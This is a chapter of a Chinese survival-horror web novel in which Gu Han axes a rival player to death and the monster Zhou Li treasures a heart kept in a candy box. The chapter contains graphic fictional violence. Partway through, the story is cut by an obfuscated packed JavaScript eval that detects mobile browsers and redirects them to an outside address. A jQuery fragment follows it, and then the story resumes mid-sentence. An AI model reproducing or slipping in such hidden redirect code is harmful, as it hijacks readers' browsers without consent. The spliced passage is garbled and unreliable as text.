和之前路过的玩家不一样。
这一次出现的人脚步稳健，方向鲜明，人还没到，一阵温热的血腥气和硫磺气息先迎面扑来。
这意味着对方目标极其明确——他是来杀顾寒的。
顾寒收起那张当做临时思维导图的纸，抓起身边的消防斧，站了起来。
很快，一个熟悉的人影就出现在视线里。
那是个身高一米八，戴着银丝眼睛，清瘦斯文的青年男人，手里还拿着一把二十发子弹的□□手枪。
和顾寒猜测的毫无差距，对方正是最聪明也最难缠的那个人。
谁都知道，一个商场里女装区的流水一般是最高的。
了解完副本规则之后，最先反应过来的顾寒、眼镜男，以及那个已经有过通关副本经验的玩家直接向三个方向冲去，其他玩家隔了好一会也反应过来，加入了这场残酷又迅猛的资源争夺。
首先是武器。
眼镜男直接闯进保安室，抢到了副本里唯一一把热武器。
而顾寒则抢到了离自己最近，绝对能拿到的锋利沉重的消防斧。
但很明显，眼镜男对热武器的使用并不熟练，但顾寒却拥有足够丰富的对战经验。
最可怕的是，顾寒毫无杀人的心理负担。
最后，顾寒用消防斧砍伤眼镜男，成功抢到女装区。
但没想到，第一晚过去，黎明的钟声刚刚响起，眼镜男就怂恿其他玩家来杀死顾寒抢夺女装区。
前两个白天，顾寒杀死两个玩家，砍伤包括眼镜男在内的三个玩家，才险之又险地保住女装区的销售权。
在守住资源的同时，他还认出了周理，辨认出那个有过通关经验的老玩家，并用价值百万的腕表威逼利诱来大量信息。
谁能想到，这是一个普通人类在短短两天内做到的事情。
才第二天，那个倨傲的老玩家就放弃眼镜男，主动寻求顾寒的合作了。
这一切人类周理都亲眼看到过。
小怪物周理也从记忆里看到了所有的画面。
他看到初入副本就以可怕的速度冷静下来的顾寒，也看到眉眼沉冷，穿着西装挥舞消防斧以一敌三招招悍利的顾寒。
怪物都是慕强的。
尤其是极度渴望变强的怪物幼崽。
周理抬眼看向浑身弥漫着冰冷杀气的顾寒，眼底闪过一丝惊艳的微光。
此时，顾寒身形一动。
他确认眼镜男无法看透这片空间，当机立断，杀了他！
周理也终于能看清眼镜男的模样。
一刹那，一些可怕的记忆浮上脑海，甚至连这具人类的身体都不受控制的恐惧颤抖起来。
因为，这个眼睛男就是挖掉人类周理心脏的凶手！
背对着顾寒，周理以一个诡异的姿势直立起来。
深黑的瞳孔在眼球上失控的乱转，无数强烈的情绪——悲痛，不舍，紧张，关切，在脑海里潮水一样的涌现出来。
那是人类周理的情绪。
怪物周理疑惑了一下，“啊？你在啊？”
想了想，他抬手拍了拍“自己”的脑袋，安抚道，“别怕啊。”
人类周理会经常去孤儿院做义工，这就是他安抚那些孩子时的常用姿势。
这时，顾寒已经找到非常好的机会，正准备给眼镜男致命一击。
哪只，眼镜男虽然没有看到顾寒，但还是敏锐地觉察到了危险。
他立刻举起一个巴掌大的糖果盒，“顾寒！我要和做交易！”
“你应该知道，如果玩家被吃掉心脏，就会变成怪物的一部分吧。”
顾寒停下动作，蹙眉盯着四处张望的眼镜男。
这一点他确实知道，但不够详细。
按照之前收集来的信息，他大概猜测到，副本里的怪物吃掉心脏之后会获得一定的力量，但是以什么样的方式，为什么能成为怪物的力量，他暂时还一无所知。
空气死寂的吓人。
眼镜男生怕顾寒直接暴起杀人，语速飞快，“但你应该不知道，如果将死者的心脏保存下来，遇到有关轮回往生的道具，就可以让死者往生极乐。”
顾寒垂了垂眼，眉心拧紧，面露疑惑。
因为无法感知到顾寒的疑惑，眼镜男更加不安了，他深吸一口气，紧张到连额上滚落的冷汗都不敢擦，一时间也在怀疑自己当时是不是做了个愚蠢的决定。
最后，眼镜男鼓起勇气，举起一个不断溢出鲜血的糖果盒，“这是……”
“这是什么？”俏皮清澈的少年声音在空寂里响起，带起一阵陈旧录音带一样的回音，堵住眼镜男即将说出口的话。
周理和顾寒一起露出身形。
他站在顾寒身后，歪出脑袋，用一双带笑的漆黑眼睛看着眼镜男，再次问，“你说，这是什么呀？”
眼镜男瞪大眼睛，露出见了鬼的表情。
周理？？？
怎么可能！
他亲手剜出他的心脏，亲眼看着他变成一具冰冷的尸体，他怎么可能还活着！
可不容置疑的是，现在，当前，眼下，周理确确实实就活生生地站在那里！
眼镜男下意识的举起枪对向顾寒身后的周理。
顾寒挺身一挡，握紧消防斧，紧盯着枪口，蓄势待发。
他在现实生活里有非常丰富的枪械经验，因此十分清楚，这种手枪打出一发子弹之后，有大概三秒钟的退壳复进时间。
虽然武器上过分劣势，但他有信心能用消防斧挡一发子弹，再用两秒冲到眼镜男面前，一击毙命。
但他没有注意到，眼镜男的枪口，指向的是身后的周理。
周理还在笑。
嘴角向上咧开，两条雪白的触手在身后冉冉升起，像漂亮的毒蛇优雅的昂扬起头颅，瞄准了自己的猎物。
眼镜男浑身血液瞬间冻结，恐惧迅速狠狠攫住心脏！
黎明的钟声响起之后，明明鬼是不允许出现的！眼前的一切根本完全不符合副本规则！
但周理就那样优雅地晃动着触手，咧着嘴角看着他。
漂亮的触手映在眼镜男眼底，晕眩感瞬间刺疼脑膜，眼镜男无法自控地开了枪。
顾寒诧异于眼镜男的失态，但好在一切分外顺利，完全没有脱离他的预设。
他紧盯着枪口，瞬时预测出子弹轨迹，举起斧子一挡，然后在两秒之内冲到眼镜男面前，毫不留情的劈了下去。
斧头劈在眼镜男头顶，鲜红的血迹像瀑布一样淌满整张脸。
被血水浸透的眼睛里，还惊恐地瞪着顾寒身后摇晃着触手的周理。
但一切都来不及了。
眼镜男向后仰倒，睁着眼睛沉沉地倒在了地上。
顾寒捡起手枪，在眼镜男胸口补了一枪。
他卸掉弹夹数了一下，还剩十一发子弹。
“理理，别怕，”低头检查手枪的时候，顾寒还不忘安慰周理，“不杀他，迟早会害死我们，理理？”
周理没应声，一阵风似的冲到眼镜男尸体边，抢过那个糖果盒，小心的捧在怀里。
“这是什么东西？”顾寒踩着眼镜男的脑袋拔出消防斧，有点疑惑地问道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472054|201540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
眼镜男带着这个跟自己合作，应该是什么厉害的东西吧。
周理当着他的面打开糖果盒，露出一颗鲜红的心脏。
周理呲牙一笑，“是颗心。”
联系眼镜男之前说的那些话，顾寒意识到对方可能想要交换关于心脏的重要信息来达成合作。
不过他完全没有合作的欲望，关于心脏的信息在当下来说也不算最重要，不知道眼镜男怎么想的。
但周理看起来很喜欢这颗心脏。
不但没有像之前那样将心脏吃掉，还小心翼翼地将它收好，又将糖果盒很珍惜地抱在怀里。
“别吃，”顾寒叮嘱，“理理，你不能再异化下去了。”
周理乖巧但敷衍的点头，“嗯嗯。”
他才舍不得吃。
新生的小怪物就像一张不染尘埃的白纸，所有的认知都是由人类周理描画上去的。
就像破壳的雏鸟一样，他对这个温柔善良又胆小的人类抱有本能的好感，就算馋的直流口水，也不会让原身以那样没有尊严的方式彻底死去。
他将糖果罐收好，眼巴巴地看向还冒着热气的眼镜男，声音里都带了点馋兮兮的口水声，“哥哥，别浪费呀。”
顾寒脸色很难看，道德观和求生欲在脑海里疯狂打架，但最后他还是说，“你去那边，别看。”
顾寒将那把手枪塞进他手里，“拿着这个，防身。”
周理歪了歪脑袋，接过了那把枪。
顾寒让他藏好，确定周理什么都看不见了，才开始开膛破肚。
利刃划破皮肤，还没凝固的血水从伤口喷出，所有的声音在昏暗光线里变成一种令人充满恐怖想象的背景音。
周理抱着小小的糖果盒，手掌掠过冰冷的铁皮，像抚摸心爱的布娃娃一样。
“不怕哦，”他说，“我会帮你往生。”
糖果盒里的小小心脏跳动了一下。
周理愣了下，有点委屈地说，“那我吃什么啊。”
“你还是睡觉吧，”周理嘴巴都瘪下来了，“我不要理你了。”
竟然让他不要伤害顾寒。
不可思议。
毕竟他保护顾寒就是为了吃到美味的心脏啊。
只是晚上有鬼白天有人，他一直没办法找到机会独享美味而已！
周理将糖果罐塞回口袋，又摸出那把冰冷的手枪开始研究，学着眼镜男之前的样子将手枪举到面前，做出瞄准的姿势。
他甚至还无师自通的闭上一只眼睛，眼睛里就只剩下一截枪管和瞄准范围。
紧接着，浑身是血的顾寒抓着一颗还在跳动的心脏，出现在了视野里。
西装依然笔挺，领带也一丝不苟，端庄地好像在参加什么名流晚宴。
但喷射状的血迹掠过整个胸口，染脏了干净的白衬衫和领夹上漂亮的蓝宝石。
顾寒头发有点乱，一丝额发垂在眉睫上，稍显狼狈。
冷峻的脸上依然是从容清冷的神色，只有侧脸处迸溅了几滴血迹，透出一种触目惊心的危险。
看到周理在观察他，顾寒拎着消防斧的那只手抬起来在脸上蹭了蹭，“怎么，很难看？”
当然不难看——尤其是以怪物的审美来看。
西装革履所代表的文明与理智被暴力和杀戮污染，道德和秩序被一步步的侵蚀崩坏，既可以作为温柔强大的保护者，同时又是冰冷无情的杀人暴徒。
这样的生命体，怪物最喜欢。
周理咧着一颗小虎牙笑了笑，“很好看。”
他真心地说，“我很喜欢。”